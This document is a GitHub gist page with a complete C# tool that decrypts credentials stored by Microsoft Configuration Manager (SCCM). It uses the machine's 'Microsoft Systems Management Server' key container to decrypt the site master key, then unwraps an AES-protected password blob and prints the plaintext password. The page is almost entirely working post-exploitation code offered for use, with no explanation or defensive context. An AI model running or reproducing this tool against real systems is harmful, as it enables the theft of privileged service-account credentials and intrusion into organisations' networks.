Skip to content

Instantly share code, notes, and snippets.

@G0ldenGunSec
Created October 15, 2025 15:51
Show Gist options
  • Save G0ldenGunSec/3bef0b49c787f1a12221b37267afe2a0 to your computer and use it in GitHub Desktop.
Save G0ldenGunSec/3bef0b49c787f1a12221b37267afe2a0 to your computer and use it in GitHub Desktop.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
class Program
{
private const string MS_ENH_RSA_AES_PROV = "Microsoft Enhanced RSA and AES Cryptographic Provider";
private const string KEY_CONTAINER = "Microsoft Systems Management Server";
private const uint PROV_RSA_AES = 24;
private const uint CRYPT_MACHINE_KEYSET = 0x20;
private const string CNG_PROVIDER_NAME = "Microsoft Primitive Provider";
private const string BCRYPT_RFC3565_KEY_BLOB = "Rfc3565KeyWrapBlob";
private const string BCRYPT_OPAQUE_KEY_BLOB = "OpaqueKeyBlob";
private const string BCRYPT_AES_ALGORITHM = "AES";
private const string BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC";
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern bool CryptAcquireContextA(
out IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
uint dwFlags);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CryptImportKey(
IntPtr hProv,
byte[] pbData,
int dwDataLen,
IntPtr hPubKey,
int dwFlags,
out IntPtr phKey);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CryptDecrypt(
IntPtr hKey,
IntPtr hHash,
bool Final,
uint dwFlags,
byte[] pbData,
ref int pdwDataLen);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CryptReleaseContext(IntPtr hProv, int dwFlags);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptOpenAlgorithmProvider(
out IntPtr phAlgorithm,
string pszAlgId,
string pszImplementation,
int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptSetProperty(
IntPtr hObject,
string pszProperty,
byte[] pbInput,
int cbInput,
int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptImportKey(
IntPtr hAlgorithm,
IntPtr hImportKey,
string pszBlobType,
out IntPtr phKey,
IntPtr pbKeyObject,
int cbKeyObject,
byte[] pbInput,
int cbInput,
int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptDecrypt(
IntPtr hKey,
byte[] pbInput,
int cbInput,
IntPtr pPaddingInfo,
byte[] pbIV,
int cbIV,
byte[] pbOutput,
int cbOutput,
out int pcbResult,
int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptDestroyKey(IntPtr hKey);
private static byte[] HexToBytes(string hex)
{
List<byte> bytes = new List<byte>();
for (int i = 0; i < hex.Length; i += 2)
bytes.Add(Convert.ToByte(hex.Substring(i, 2), 16));
return bytes.ToArray();
}
private static byte[] DecryptSiteMasterKey(byte[] encryptedKey)
{
if (!CryptAcquireContextA(out IntPtr hProv, KEY_CONTAINER, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_MACHINE_KEYSET))
{
Console.Error.WriteLine($"CryptAcquireContext failed: {Marshal.GetLastWin32Error()}");
return Array.Empty<byte>();
}
if (encryptedKey.Length < 8)
return Array.Empty<byte>();
int keyBlobSize = BitConverter.ToInt32(encryptedKey, 0);
if (keyBlobSize + 8 > encryptedKey.Length)
return Array.Empty<byte>();
byte[] keyBlob = new byte[keyBlobSize];
Array.Copy(encryptedKey, 8, keyBlob, 0, keyBlobSize);
int cipherSize = encryptedKey.Length - (8 + keyBlobSize);
byte[] cipherText = new byte[cipherSize];
Array.Copy(encryptedKey, 8 + keyBlobSize, cipherText, 0, cipherSize);
if (!CryptImportKey(hProv, keyBlob, keyBlob.Length, IntPtr.Zero, 0, out IntPtr hKey))
{
Console.Error.WriteLine($"CryptImportKey failed: {Marshal.GetLastWin32Error()}");
CryptReleaseContext(hProv, 0);
return Array.Empty<byte>();
}
int dwSize = cipherSize;
if (!CryptDecrypt(hKey, IntPtr.Zero, true, 0, cipherText, ref dwSize))
{
Console.Error.WriteLine($"CryptDecrypt failed: {Marshal.GetLastWin32Error()}");
cipherText = Array.Empty<byte>();
}
else
{
Array.Resize(ref cipherText, dwSize);
}
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return cipherText;
}
private static byte[] UnwrapPasswordBlob(byte[] siteMasterKey, byte[] passwordBlob)
{
if (siteMasterKey.Length == 0 || passwordBlob.Length < 16)
return Array.Empty<byte>();
int wrappedKeyLen = BitConverter.ToInt32(passwordBlob, 8);
int cipherLen = BitConverter.ToInt32(passwordBlob, 12);
byte[] wrappedKey = new byte[wrappedKeyLen];
Array.Copy(passwordBlob, 16, wrappedKey, 0, wrappedKeyLen);
byte[] cipherText = new byte[cipherLen];
Array.Copy(passwordBlob, 16 + wrappedKeyLen, cipherText, 0, cipherLen);
if (BCryptOpenAlgorithmProvider(out IntPtr hAlg, BCRYPT_AES_ALGORITHM, CNG_PROVIDER_NAME, 0) != 0)
return Array.Empty<byte>();
BCryptSetProperty(hAlg, BCRYPT_CHAIN_MODE_CBC, Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_CBC), Encoding.Unicode.GetByteCount(BCRYPT_CHAIN_MODE_CBC), 0);
if (BCryptImportKey(hAlg, IntPtr.Zero, BCRYPT_OPAQUE_KEY_BLOB, out IntPtr hMasterKey, IntPtr.Zero, 0, siteMasterKey, siteMasterKey.Length, 0) != 0)
return Array.Empty<byte>();
if (BCryptImportKey(hAlg, hMasterKey, BCRYPT_RFC3565_KEY_BLOB, out IntPtr hSessionKey, IntPtr.Zero, 0, wrappedKey, wrappedKey.Length, 0) != 0)
return Array.Empty<byte>();
byte[] plain = new byte[cipherText.Length + 16];
BCryptDecrypt(hSessionKey, cipherText, cipherText.Length, IntPtr.Zero, null, 0, plain, plain.Length, out int cbPlain, 0);
Array.Resize(ref plain, cbPlain);
BCryptDestroyKey(hSessionKey);
BCryptDestroyKey(hMasterKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
//Trim PKCS7 padding to get rid of trailing null chars
if (plain.Length > 0)
{
byte padLen = plain[plain.Length - 1];
if (padLen > 0 && padLen <= 16)
{
bool validPadding = true;
for (int i = plain.Length - padLen; i < plain.Length; i++)
{
if (plain[i] != padLen)
{
validPadding = false;
break;
}
}
if (validPadding)
{
Array.Resize(ref plain, plain.Length - padLen);
}
}
}
return plain;
}
static void Main(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("Usage: [program].exe <EncryptedSiteMasterKeyHex> <PasswordBlobHex>");
return;
}
byte[] encryptedKey = HexToBytes(args[0]);
byte[] passwordBlob = HexToBytes(args[1]);
byte[] siteMasterKey = DecryptSiteMasterKey(encryptedKey);
if (siteMasterKey.Length == 0)
{
Console.Error.WriteLine("[X] Error: Failed to decrypt site master key.");
return;
}
byte[] decryptedPassword = UnwrapPasswordBlob(siteMasterKey, passwordBlob);
if (decryptedPassword.Length == 0)
{
Console.Error.WriteLine("[X] Error: Failed to decrypt password blob.");
return;
}
Console.WriteLine("[+] Decrypted Password: " + Encoding.UTF8.GetString(decryptedPassword));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment